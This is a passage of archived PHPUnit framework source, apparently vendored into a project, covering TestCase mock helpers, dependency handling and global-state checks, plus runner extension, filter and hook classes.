* * @psalm-template RealInstanceType of object * @psalm-param class-string|string $originalClassName * @psalm-return class-string */ protected function getMockClass(string $originalClassName, $methods = [], array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = false, bool $callOriginalClone = true, bool $callAutoload = true, bool $cloneArguments = false): string { $this->recordDoubledType($originalClassName); $mock = $this->getMockObjectGenerator()->getMock( $originalClassName, $methods, $arguments, $mockClassName, $callOriginalConstructor, $callOriginalClone, $callAutoload, $cloneArguments ); return get_class($mock); } /** * Returns a mock object for the specified abstract class with all abstract * methods of the class mocked. Concrete methods are not mocked by default. * To mock concrete methods, use the 7th parameter ($mockedMethods). * * @psalm-template RealInstanceType of object * @psalm-param class-string $originalClassName * @psalm-return MockObject&RealInstanceType */ protected function getMockForAbstractClass(string $originalClassName, array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, array $mockedMethods = [], bool $cloneArguments = false): MockObject { $this->recordDoubledType($originalClassName); $mockObject = $this->getMockObjectGenerator()->getMockForAbstractClass( $originalClassName, $arguments, $mockClassName, $callOriginalConstructor, $callOriginalClone, $callAutoload, $mockedMethods, $cloneArguments ); $this->registerMockObject($mockObject); return $mockObject; } /** * Returns a mock object based on the given WSDL file. * * @psalm-template RealInstanceType of object * @psalm-param class-string|string $originalClassName * @psalm-return MockObject&RealInstanceType */ protected function getMockFromWsdl(string $wsdlFile, string $originalClassName = '', string $mockClassName = '', array $methods = [], bool $callOriginalConstructor = true, array $options = []): MockObject { $this->recordDoubledType(SoapClient::class); if ($originalClassName === '') { $fileName = pathinfo(basename(parse_url($wsdlFile, PHP_URL_PATH)), PATHINFO_FILENAME); $originalClassName = preg_replace('/\W/', '', $fileName); } if (!class_exists($originalClassName)) { eval( $this->getMockObjectGenerator()->generateClassFromWsdl( $wsdlFile, $originalClassName, $methods, $options ) ); } $mockObject = $this->getMockObjectGenerator()->getMock( $originalClassName, $methods, ['', $options], $mockClassName, $callOriginalConstructor, false, false ); $this->registerMockObject($mockObject); return $mockObject; } /** * Returns a mock object for the specified trait with all abstract methods * of the trait mocked. Concrete methods to mock can be specified with the * `$mockedMethods` parameter. * * @psalm-param trait-string $traitName */ protected function getMockForTrait(string $traitName, array $arguments = [], string $mockClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true, array $mockedMethods = [], bool $cloneArguments = false): MockObject { $this->recordDoubledType($traitName); $mockObject = $this->getMockObjectGenerator()->getMockForTrait( $traitName, $arguments, $mockClassName, $callOriginalConstructor, $callOriginalClone, $callAutoload, $mockedMethods, $cloneArguments ); $this->registerMockObject($mockObject); return $mockObject; } /** * Returns an object for the specified trait. * * @psalm-param trait-string $traitName */ protected function getObjectForTrait(string $traitName, array $arguments = [], string $traitClassName = '', bool $callOriginalConstructor = true, bool $callOriginalClone = true, bool $callAutoload = true): object { $this->recordDoubledType($traitName); return $this->getMockObjectGenerator()->getObjectForTrait( $traitName, $traitClassName, $callAutoload, $callOriginalConstructor, $arguments ); } /** * @throws \Prophecy\Exception\Doubler\ClassNotFoundException * @throws \Prophecy\Exception\Doubler\DoubleException * @throws \Prophecy\Exception\Doubler\InterfaceNotFoundException * * @psalm-param class-string|null $classOrInterface */ protected function prophesize(?string $classOrInterface = null): ObjectProphecy { $this->addWarning('PHPUnit\Framework\TestCase::prophesize() is deprecated and will be removed in PHPUnit 10. Please use the trait provided by phpspec/prophecy-phpunit.'); if (is_string($classOrInterface)) { $this->recordDoubledType($classOrInterface); } return $this->getProphet()->prophesize($classOrInterface); } /** * Creates a default TestResult object. * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ protected function createResult(): TestResult { return new TestResult; } /** * This method is called when a test method did not execute successfully. * * @throws Throwable */ protected function onNotSuccessfulTest(Throwable $t): void { throw $t; } protected function recordDoubledType(string $originalClassName): void { $this->doubledTypes[] = $originalClassName; } /** * @throws Throwable */ private function verifyMockObjects(): void { foreach ($this->mockObjects as $mockObject) { if ($mockObject->__phpunit_hasMatchers()) { $this->numAssertions++; } $mockObject->__phpunit_verify( $this->shouldInvocationMockerBeReset($mockObject) ); } if ($this->prophet !== null) { try { $this->prophet->checkPredictions(); } finally { foreach ($this->prophet->getProphecies() as $objectProphecy) { foreach ($objectProphecy->getMethodProphecies() as $methodProphecies) { foreach ($methodProphecies as $methodProphecy) { /* @var MethodProphecy $methodProphecy */ $this->numAssertions += count($methodProphecy->getCheckedPredictions()); } } } } } } /** * @throws SkippedTestError * @throws SyntheticSkippedError * @throws Warning */ private function checkRequirements(): void { if (!$this->name || !method_exists($this, $this->name)) { return; } $missingRequirements = TestUtil::getMissingRequirements( static::class, $this->name ); if (!empty($missingRequirements)) { $this->markTestSkipped(implode(PHP_EOL, $missingRequirements)); } } private function handleDependencies(): bool { if ([] === $this->dependencies || $this->inIsolation) { return true; } $passed = $this->result->passed(); $passedKeys = array_keys($passed); $numKeys = count($passedKeys); for ($i = 0; $i < $numKeys; $i++) { $pos = strpos($passedKeys[$i], ' with data set'); if ($pos !== false) { $passedKeys[$i] = substr($passedKeys[$i], 0, $pos); } } $passedKeys = array_flip(array_unique($passedKeys)); foreach ($this->dependencies as $dependency) { if (!$dependency->isValid()) { $this->markSkippedForNotSpecifyingDependency(); return false; } if ($dependency->targetIsClass()) { $dependencyClassName = $dependency->getTargetClassName(); if (array_search($dependencyClassName, $this->result->passedClasses(), true) === false) { $this->markSkippedForMissingDependency($dependency); return false; } continue; } $dependencyTarget = $dependency->getTarget(); if (!isset($passedKeys[$dependencyTarget])) { if (!$this->isCallableTestMethod($dependencyTarget)) { $this->markWarningForUncallableDependency($dependency); } else { $this->markSkippedForMissingDependency($dependency); } return false; } if (isset($passed[$dependencyTarget])) { if ($passed[$dependencyTarget]['size'] != \PHPUnit\Util\Test::UNKNOWN && $this->getSize() != \PHPUnit\Util\Test::UNKNOWN && $passed[$dependencyTarget]['size'] > $this->getSize()) { $this->result->addError( $this, new SkippedTestError( 'This test depends on a test that is larger than itself.' ), 0 ); return false; } if ($dependency->useDeepClone()) { $deepCopy = new DeepCopy; $deepCopy->skipUncloneable(false); $this->dependencyInput[$dependencyTarget] = $deepCopy->copy($passed[$dependencyTarget]['result']); } elseif ($dependency->useShallowClone()) { $this->dependencyInput[$dependencyTarget] = clone $passed[$dependencyTarget]['result']; } else { $this->dependencyInput[$dependencyTarget] = $passed[$dependencyTarget]['result']; } } else { $this->dependencyInput[$dependencyTarget] = null; } } return true; } private function markSkippedForNotSpecifyingDependency(): void { $this->status = BaseTestRunner::STATUS_SKIPPED; $this->result->startTest($this); $this->result->addError( $this, new SkippedTestError( 'This method has an invalid @depends annotation.' ), 0 ); $this->result->endTest($this, 0); } private function markSkippedForMissingDependency(ExecutionOrderDependency $dependency): void { $this->status = BaseTestRunner::STATUS_SKIPPED; $this->result->startTest($this); $this->result->addError( $this, new SkippedTestError( sprintf( 'This test depends on "%s" to pass.', $dependency->getTarget() ) ), 0 ); $this->result->endTest($this, 0); } private function markWarningForUncallableDependency(ExecutionOrderDependency $dependency): void { $this->status = BaseTestRunner::STATUS_WARNING; $this->result->startTest($this); $this->result->addWarning( $this, new Warning( sprintf( 'This test depends on "%s" which does not exist.', $dependency->getTarget() ) ), 0 ); $this->result->endTest($this, 0); } /** * Get the mock object generator, creating it if it doesn't exist. */ private function getMockObjectGenerator(): MockGenerator { if ($this->mockObjectGenerator === null) { $this->mockObjectGenerator = new MockGenerator; } return $this->mockObjectGenerator; } private function startOutputBuffering(): void { ob_start(); $this->outputBufferingActive = true; $this->outputBufferingLevel = ob_get_level(); } /** * @throws RiskyTestError */ private function stopOutputBuffering(): void { if (ob_get_level() !== $this->outputBufferingLevel) { while (ob_get_level() >= $this->outputBufferingLevel) { ob_end_clean(); } throw new RiskyTestError( 'Test code or tested code did not (only) close its own output buffers' ); } $this->output = ob_get_contents(); if ($this->outputCallback !== false) { $this->output = (string) call_user_func($this->outputCallback, $this->output); } ob_end_clean(); $this->outputBufferingActive = false; $this->outputBufferingLevel = ob_get_level(); } private function snapshotGlobalState(): void { if ($this->runTestInSeparateProcess || $this->inIsolation || (!$this->backupGlobals && !$this->backupStaticAttributes)) { return; } $this->snapshot = $this->createGlobalStateSnapshot($this->backupGlobals === true); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws RiskyTestError */ private function restoreGlobalState(): void { if (!$this->snapshot instanceof Snapshot) { return; } if ($this->beStrictAboutChangesToGlobalState) { try { $this->compareGlobalStateSnapshots( $this->snapshot, $this->createGlobalStateSnapshot($this->backupGlobals === true) ); } catch (RiskyTestError $rte) { // Intentionally left empty } } $restorer = new Restorer; if ($this->backupGlobals) { $restorer->restoreGlobalVariables($this->snapshot); } if ($this->backupStaticAttributes) { $restorer->restoreStaticAttributes($this->snapshot); } $this->snapshot = null; if (isset($rte)) { throw $rte; } } private function createGlobalStateSnapshot(bool $backupGlobals): Snapshot { $excludeList = new ExcludeList; foreach ($this->backupGlobalsExcludeList as $globalVariable) { $excludeList->addGlobalVariable($globalVariable); } if (!empty($this->backupGlobalsBlacklist)) { $this->addWarning('PHPUnit\Framework\TestCase::$backupGlobalsBlacklist is deprecated and will be removed in PHPUnit 10. Please use PHPUnit\Framework\TestCase::$backupGlobalsExcludeList instead.'); foreach ($this->backupGlobalsBlacklist as $globalVariable) { $excludeList->addGlobalVariable($globalVariable); } } if (!defined('PHPUNIT_TESTSUITE')) { $excludeList->addClassNamePrefix('PHPUnit'); $excludeList->addClassNamePrefix('SebastianBergmann\CodeCoverage'); $excludeList->addClassNamePrefix('SebastianBergmann\FileIterator'); $excludeList->addClassNamePrefix('SebastianBergmann\Invoker'); $excludeList->addClassNamePrefix('SebastianBergmann\Template'); $excludeList->addClassNamePrefix('SebastianBergmann\Timer'); $excludeList->addClassNamePrefix('Symfony'); $excludeList->addClassNamePrefix('Doctrine\Instantiator'); $excludeList->addClassNamePrefix('Prophecy'); $excludeList->addStaticAttribute(ComparatorFactory::class, 'instance'); foreach ($this->backupStaticAttributesExcludeList as $class => $attributes) { foreach ($attributes as $attribute) { $excludeList->addStaticAttribute($class, $attribute); } } if (!empty($this->backupStaticAttributesBlacklist)) { $this->addWarning('PHPUnit\Framework\TestCase::$backupStaticAttributesBlacklist is deprecated and will be removed in PHPUnit 10. Please use PHPUnit\Framework\TestCase::$backupStaticAttributesExcludeList instead.'); foreach ($this->backupStaticAttributesBlacklist as $class => $attributes) { foreach ($attributes as $attribute) { $excludeList->addStaticAttribute($class, $attribute); } } } } return new Snapshot( $excludeList, $backupGlobals, (bool) $this->backupStaticAttributes, false, false, false, false, false, false, false ); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws RiskyTestError */ private function compareGlobalStateSnapshots(Snapshot $before, Snapshot $after): void { $backupGlobals = $this->backupGlobals === null || $this->backupGlobals; if ($backupGlobals) { $this->compareGlobalStateSnapshotPart( $before->globalVariables(), $after->globalVariables(), "--- Global variables before the test\n+++ Global variables after the test\n" ); $this->compareGlobalStateSnapshotPart( $before->superGlobalVariables(), $after->superGlobalVariables(), "--- Super-global variables before the test\n+++ Super-global variables after the test\n" ); } if ($this->backupStaticAttributes) { $this->compareGlobalStateSnapshotPart( $before->staticAttributes(), $after->staticAttributes(), "--- Static attributes before the test\n+++ Static attributes after the test\n" ); } } /** * @throws RiskyTestError */ private function compareGlobalStateSnapshotPart(array $before, array $after, string $header): void { if ($before != $after) { $differ = new Differ($header); $exporter = new Exporter; $diff = $differ->diff( $exporter->export($before), $exporter->export($after) ); throw new RiskyTestError( $diff ); } } private function getProphet(): Prophet { if ($this->prophet === null) { $this->prophet = new Prophet; } return $this->prophet; } /** * @throws \SebastianBergmann\ObjectEnumerator\InvalidArgumentException */ private function shouldInvocationMockerBeReset(MockObject $mock): bool { $enumerator = new Enumerator; foreach ($enumerator->enumerate($this->dependencyInput) as $object) { if ($mock === $object) { return false; } } if (!is_array($this->testResult) && !is_object($this->testResult)) { return true; } return !in_array($mock, $enumerator->enumerate($this->testResult), true); } /** * @throws \SebastianBergmann\ObjectEnumerator\InvalidArgumentException * @throws \SebastianBergmann\ObjectReflector\InvalidArgumentException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ private function registerMockObjectsFromTestArguments(array $testArguments, array &$visited = []): void { if ($this->registerMockObjectsFromTestArgumentsRecursively) { foreach ((new Enumerator)->enumerate($testArguments) as $object) { if ($object instanceof MockObject) { $this->registerMockObject($object); } } } else { foreach ($testArguments as $testArgument) { if ($testArgument instanceof MockObject) { if (Type::isCloneable($testArgument)) { $testArgument = clone $testArgument; } $this->registerMockObject($testArgument); } elseif (is_array($testArgument) && !in_array($testArgument, $visited, true)) { $visited[] = $testArgument; $this->registerMockObjectsFromTestArguments( $testArgument, $visited ); } } } } private function setDoesNotPerformAssertionsFromAnnotation(): void { $annotations = TestUtil::parseTestMethodAnnotations( static::class, $this->name ); if (isset($annotations['method']['doesNotPerformAssertions'])) { $this->doesNotPerformAssertions = true; } } private function unregisterCustomComparators(): void { $factory = ComparatorFactory::getInstance(); foreach ($this->customComparators as $comparator) { $factory->unregister($comparator); } $this->customComparators = []; } private function cleanupIniSettings(): void { foreach ($this->iniSettings as $varName => $oldValue) { ini_set($varName, $oldValue); } $this->iniSettings = []; } private function cleanupLocaleSettings(): void { foreach ($this->locale as $category => $locale) { setlocale($category, $locale); } $this->locale = []; } /** * @throws Exception */ private function checkExceptionExpectations(Throwable $throwable): bool { $result = false; if ($this->expectedException !== null || $this->expectedExceptionCode !== null || $this->expectedExceptionMessage !== null || $this->expectedExceptionMessageRegExp !== null) { $result = true; } if ($throwable instanceof Exception) { $result = false; } if (is_string($this->expectedException)) { try { $reflector = new ReflectionClass($this->expectedException); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if ($this->expectedException === 'PHPUnit\Framework\Exception' || $this->expectedException === '\PHPUnit\Framework\Exception' || $reflector->isSubclassOf(Exception::class)) { $result = true; } } return $result; } private function runInSeparateProcess(): bool { return ($this->runTestInSeparateProcess || $this->runClassInSeparateProcess) && !$this->inIsolation && !$this instanceof PhptTestCase; } private function isCallableTestMethod(string $dependency): bool { [$className, $methodName] = explode('::', $dependency); if (!class_exists($className)) { return false; } try { $class = new ReflectionClass($className); } catch (ReflectionException $e) { return false; } if (!$class->isSubclassOf(__CLASS__)) { return false; } if (!$class->hasMethod($methodName)) { return false; } try { $method = $class->getMethod($methodName); } catch (ReflectionException $e) { return false; } return TestUtil::isTestMethod($method); } /** * @psalm-template RealInstanceType of object * @psalm-param class-string $originalClassName * @psalm-return MockObject&RealInstanceType */ private function createMockObject(string $originalClassName): MockObject { return $this->getMockBuilder($originalClassName) ->disableOriginalConstructor() ->disableOriginalClone() ->disableArgumentCloning() ->disallowMockingUnknownTypes() ->getMock(); } } res/readability/vendor/phpunit/phpunit/src/Framework/IncompleteTest.php000064400000000673147577714370022531 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface IncompleteTest extends Throwable { } res/readability/vendor/phpunit/phpunit/src/Framework/TestSuiteIterator.php000064400000003301147577714370023224 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function assert; use function count; use RecursiveIterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteIterator implements RecursiveIterator { /** * @var int */ private $position = 0; /** * @var Test[] */ private $tests; public function __construct(TestSuite $testSuite) { $this->tests = $testSuite->tests(); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->tests); } public function key(): int { return $this->position; } public function current(): Test { return $this->tests[$this->position]; } public function next(): void { $this->position++; } /** * @throws NoChildTestSuiteException */ public function getChildren(): self { if (!$this->hasChildren()) { throw new NoChildTestSuiteException( 'The current item is not a TestSuite instance and therefore does not have any children.' ); } $current = $this->current(); assert($current instanceof TestSuite); return new self($current); } public function hasChildren(): bool { return $this->valid() && $this->current() instanceof TestSuite; } } res/readability/vendor/phpunit/phpunit/src/Framework/Test.php000064400000001126147577714370020503 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use Countable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface Test extends Countable { /** * Runs a test and collects its result in a TestResult instance. */ public function run(TestResult $result = null): TestResult; } res/readability/vendor/phpunit/phpunit/src/Runner/Extension/PharLoader.php000064400000004742147577714370023104 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Extension; use PharIo\Manifest\ApplicationName; use PharIo\Manifest\Exception as ManifestException; use PharIo\Manifest\ManifestLoader; use PharIo\Version\Version as PharIoVersion; use PHPUnit\Runner\Version; use SebastianBergmann\FileIterator\Facade as FileIteratorFacade; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class PharLoader { /** * @psalm-return array{loadedExtensions: list, notLoadedExtensions: list} */ public function loadPharExtensionsInDirectory(string $directory): array { $loadedExtensions = []; $notLoadedExtensions = []; foreach ((new FileIteratorFacade)->getFilesAsArray($directory, '.phar') as $file) { if (!is_file('phar://' . $file . '/manifest.xml')) { $notLoadedExtensions[] = $file . ' is not an extension for PHPUnit'; continue; } try { $applicationName = new ApplicationName('phpunit/phpunit'); $version = new PharIoVersion(Version::series()); $manifest = ManifestLoader::fromFile('phar://' . $file . '/manifest.xml'); if (!$manifest->isExtensionFor($applicationName)) { $notLoadedExtensions[] = $file . ' is not an extension for PHPUnit'; continue; } if (!$manifest->isExtensionFor($applicationName, $version)) { $notLoadedExtensions[] = $file . ' is not compatible with this version of PHPUnit'; continue; } } catch (ManifestException $e) { $notLoadedExtensions[] = $file . ': ' . $e->getMessage(); continue; } /** * @noinspection PhpIncludeInspection * @psalm-suppress UnresolvableInclude */ require $file; $loadedExtensions[] = $manifest->getName()->asString() . ' ' . $manifest->getVersion()->getVersionString(); } return [ 'loadedExtensions' => $loadedExtensions, 'notLoadedExtensions' => $notLoadedExtensions, ]; } } res/readability/vendor/phpunit/phpunit/src/Runner/Extension/ExtensionHandler.php000064400000006302147577714370024327 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Extension; use function class_exists; use function sprintf; use PHPUnit\Framework\TestListener; use PHPUnit\Runner\Exception; use PHPUnit\Runner\Hook; use PHPUnit\TextUI\TestRunner; use PHPUnit\TextUI\XmlConfiguration\Extension; use ReflectionClass; use ReflectionException; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExtensionHandler { /** * @throws Exception */ public function registerExtension(Extension $extensionConfiguration, TestRunner $runner): void { $extension = $this->createInstance($extensionConfiguration); if (!$extension instanceof Hook) { throw new Exception( sprintf( 'Class "%s" does not implement a PHPUnit\Runner\Hook interface', $extensionConfiguration->className() ) ); } $runner->addExtension($extension); } /** * @throws Exception * * @deprecated */ public function createTestListenerInstance(Extension $listenerConfiguration): TestListener { $listener = $this->createInstance($listenerConfiguration); if (!$listener instanceof TestListener) { throw new Exception( sprintf( 'Class "%s" does not implement the PHPUnit\Framework\TestListener interface', $listenerConfiguration->className() ) ); } return $listener; } /** * @throws Exception */ private function createInstance(Extension $extensionConfiguration): object { $this->ensureClassExists($extensionConfiguration); try { $reflector = new ReflectionClass($extensionConfiguration->className()); } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } if (!$extensionConfiguration->hasArguments()) { return $reflector->newInstance(); } return $reflector->newInstanceArgs($extensionConfiguration->arguments()); } /** * @throws Exception */ private function ensureClassExists(Extension $extensionConfiguration): void { if (class_exists($extensionConfiguration->className(), false)) { return; } if ($extensionConfiguration->hasSourceFile()) { /** * @noinspection PhpIncludeInspection * @psalm-suppress UnresolvableInclude */ require_once $extensionConfiguration->sourceFile(); } if (!class_exists($extensionConfiguration->className())) { throw new Exception( sprintf( 'Class "%s" does not exist', $extensionConfiguration->className() ) ); } } } res/readability/vendor/phpunit/phpunit/src/Runner/Filter/Factory.php000064400000003016147577714370021734 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Filter; use function assert; use function sprintf; use FilterIterator; use Iterator; use PHPUnit\Framework\TestSuite; use PHPUnit\Runner\Exception; use RecursiveFilterIterator; use ReflectionClass; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Factory { /** * @psalm-var array */ private $filters = []; /** * @param array|string $args * * @throws Exception */ public function addFilter(ReflectionClass $filter, $args): void { if (!$filter->isSubclassOf(RecursiveFilterIterator::class)) { throw new Exception( sprintf( 'Class "%s" does not extend RecursiveFilterIterator', $filter->name ) ); } $this->filters[] = [$filter, $args]; } public function factory(Iterator $iterator, TestSuite $suite): FilterIterator { foreach ($this->filters as $filter) { [$class, $args] = $filter; $iterator = $class->newInstance($iterator, $args, $suite); } assert($iterator instanceof FilterIterator); return $iterator; } } res/readability/vendor/phpunit/phpunit/src/Runner/Filter/GroupFilterIterator.php000064400000002751147577714370024306 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Filter; use function array_map; use function array_merge; use function in_array; use function spl_object_hash; use PHPUnit\Framework\TestSuite; use RecursiveFilterIterator; use RecursiveIterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class GroupFilterIterator extends RecursiveFilterIterator { /** * @var string[] */ protected $groupTests = []; public function __construct(RecursiveIterator $iterator, array $groups, TestSuite $suite) { parent::__construct($iterator); foreach ($suite->getGroupDetails() as $group => $tests) { if (in_array((string) $group, $groups, true)) { $testHashes = array_map( 'spl_object_hash', $tests ); $this->groupTests = array_merge($this->groupTests, $testHashes); } } } public function accept(): bool { $test = $this->getInnerIterator()->current(); if ($test instanceof TestSuite) { return true; } return $this->doAccept(spl_object_hash($test)); } abstract protected function doAccept(string $hash); } res/readability/vendor/phpunit/phpunit/src/Runner/Filter/IncludeGroupFilterIterator.php000064400000001130147577714370025600 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Filter; use function in_array; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class IncludeGroupFilterIterator extends GroupFilterIterator { protected function doAccept(string $hash): bool { return in_array($hash, $this->groupTests, true); } } res/readability/vendor/phpunit/phpunit/src/Runner/Filter/NameFilterIterator.php000064400000007161147577714370024072 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Filter; use function end; use function implode; use function preg_match; use function sprintf; use function str_replace; use Exception; use PHPUnit\Framework\ErrorTestCase; use PHPUnit\Framework\TestSuite; use PHPUnit\Framework\WarningTestCase; use PHPUnit\Util\RegularExpression; use RecursiveFilterIterator; use RecursiveIterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NameFilterIterator extends RecursiveFilterIterator { /** * @var string */ private $filter; /** * @var int */ private $filterMin; /** * @var int */ private $filterMax; /** * @throws Exception */ public function __construct(RecursiveIterator $iterator, string $filter) { parent::__construct($iterator); $this->setFilter($filter); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function accept(): bool { $test = $this->getInnerIterator()->current(); if ($test instanceof TestSuite) { return true; } $tmp = \PHPUnit\Util\Test::describe($test); if ($test instanceof ErrorTestCase || $test instanceof WarningTestCase) { $name = $test->getMessage(); } elseif ($tmp[0] !== '') { $name = implode('::', $tmp); } else { $name = $tmp[1]; } $accepted = @preg_match($this->filter, $name, $matches); if ($accepted && isset($this->filterMax)) { $set = end($matches); $accepted = $set >= $this->filterMin && $set <= $this->filterMax; } return (bool) $accepted; } /** * @throws Exception */ private function setFilter(string $filter): void { if (RegularExpression::safeMatch($filter, '') === false) { // Handles: // * testAssertEqualsSucceeds#4 // * testAssertEqualsSucceeds#4-8 if (preg_match('/^(.*?)#(\d+)(?:-(\d+))?$/', $filter, $matches)) { if (isset($matches[3]) && $matches[2] < $matches[3]) { $filter = sprintf( '%s.*with data set #(\d+)$', $matches[1] ); $this->filterMin = (int) $matches[2]; $this->filterMax = (int) $matches[3]; } else { $filter = sprintf( '%s.*with data set #%s$', $matches[1], $matches[2] ); } } // Handles: // * testDetermineJsonError@JSON_ERROR_NONE // * testDetermineJsonError@JSON.* elseif (preg_match('/^(.*?)@(.+)$/', $filter, $matches)) { $filter = sprintf( '%s.*with data set "%s"$', $matches[1], $matches[2] ); } // Escape delimiters in regular expression. Do NOT use preg_quote, // to keep magic characters. $filter = sprintf( '/%s/i', str_replace( '/', '\\/', $filter ) ); } $this->filter = $filter; } } res/readability/vendor/phpunit/phpunit/src/Runner/Filter/ExcludeGroupFilterIterator.php000064400000001131147577714370025607 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\Filter; use function in_array; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExcludeGroupFilterIterator extends GroupFilterIterator { protected function doAccept(string $hash): bool { return !in_array($hash, $this->groupTests, true); } } res/readability/vendor/phpunit/phpunit/src/Runner/Hook/TestListenerAdapter.php000064400000010050147577714370023722 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use PHPUnit\Framework\AssertionFailedError; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestListener; use PHPUnit\Framework\TestSuite; use PHPUnit\Framework\Warning; use PHPUnit\Util\Test as TestUtil; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestListenerAdapter implements TestListener { /** * @var TestHook[] */ private $hooks = []; /** * @var bool */ private $lastTestWasNotSuccessful; public function add(TestHook $hook): void { $this->hooks[] = $hook; } public function startTest(Test $test): void { foreach ($this->hooks as $hook) { if ($hook instanceof BeforeTestHook) { $hook->executeBeforeTest(TestUtil::describeAsString($test)); } } $this->lastTestWasNotSuccessful = false; } public function addError(Test $test, Throwable $t, float $time): void { foreach ($this->hooks as $hook) { if ($hook instanceof AfterTestErrorHook) { $hook->executeAfterTestError(TestUtil::describeAsString($test), $t->getMessage(), $time); } } $this->lastTestWasNotSuccessful = true; } public function addWarning(Test $test, Warning $e, float $time): void { foreach ($this->hooks as $hook) { if ($hook instanceof AfterTestWarningHook) { $hook->executeAfterTestWarning(TestUtil::describeAsString($test), $e->getMessage(), $time); } } $this->lastTestWasNotSuccessful = true; } public function addFailure(Test $test, AssertionFailedError $e, float $time): void { foreach ($this->hooks as $hook) { if ($hook instanceof AfterTestFailureHook) { $hook->executeAfterTestFailure(TestUtil::describeAsString($test), $e->getMessage(), $time); } } $this->lastTestWasNotSuccessful = true; } public function addIncompleteTest(Test $test, Throwable $t, float $time): void { foreach ($this->hooks as $hook) { if ($hook instanceof AfterIncompleteTestHook) { $hook->executeAfterIncompleteTest(TestUtil::describeAsString($test), $t->getMessage(), $time); } } $this->lastTestWasNotSuccessful = true; } public function addRiskyTest(Test $test, Throwable $t, float $time): void { foreach ($this->hooks as $hook) { if ($hook instanceof AfterRiskyTestHook) { $hook->executeAfterRiskyTest(TestUtil::describeAsString($test), $t->getMessage(), $time); } } $this->lastTestWasNotSuccessful = true; } public function addSkippedTest(Test $test, Throwable $t, float $time): void { foreach ($this->hooks as $hook) { if ($hook instanceof AfterSkippedTestHook) { $hook->executeAfterSkippedTest(TestUtil::describeAsString($test), $t->getMessage(), $time); } } $this->lastTestWasNotSuccessful = true; } public function endTest(Test $test, float $time): void { if (!$this->lastTestWasNotSuccessful) { foreach ($this->hooks as $hook) { if ($hook instanceof AfterSuccessfulTestHook) { $hook->executeAfterSuccessfulTest(TestUtil::describeAsString($test), $time); } } } foreach ($this->hooks as $hook) { if ($hook instanceof AfterTestHook) { $hook->executeAfterTest(TestUtil::describeAsString($test), $time); } } } public function startTestSuite(TestSuite $suite): void { } public function endTestSuite(TestSuite $suite): void { } } res/readability/vendor/phpunit/phpunit/src/Runner/Hook/AfterSkippedTestHook.php000064400000001424147577714370024043 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * This interface, as well as the associated mechanism for extending PHPUnit, * will be removed in PHPUnit 10. There is no alternative available in this * version of PHPUnit. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see https://github.com/sebastianbergmann/phpunit/issues/4676 */ interface AfterSkippedTestHook extends TestHook { public function executeAfterSkippedTest(string $test, string $message, float $time): void; } res/readability/vendor/phpunit/phpunit/src/Runner/Hook/AfterIncompleteTestHook.php000064400000001432147577714370024542 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * This interface, as well as the associated mechanism for extending PHPUnit, * will be removed in PHPUnit 10. There is no alternative available in this * version of PHPUnit. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see https://github.com/sebastianbergmann/phpunit/issues/4676 */ interface AfterIncompleteTestHook extends TestHook { public function executeAfterIncompleteTest(string $test, string $message, float $time): void; } res/readability/vendor/phpunit/phpunit/src/Runner/Hook/BeforeTestHook.php000064400000001352147577714370022664 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; /** * This interface, as well as the associated mechanism for extending PHPUnit, * will be removed in PHPUnit 10. There is no alternative available in this * version of PHPUnit. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @see https://github.com/sebastianbergmann/phpunit/issues/4676 */ 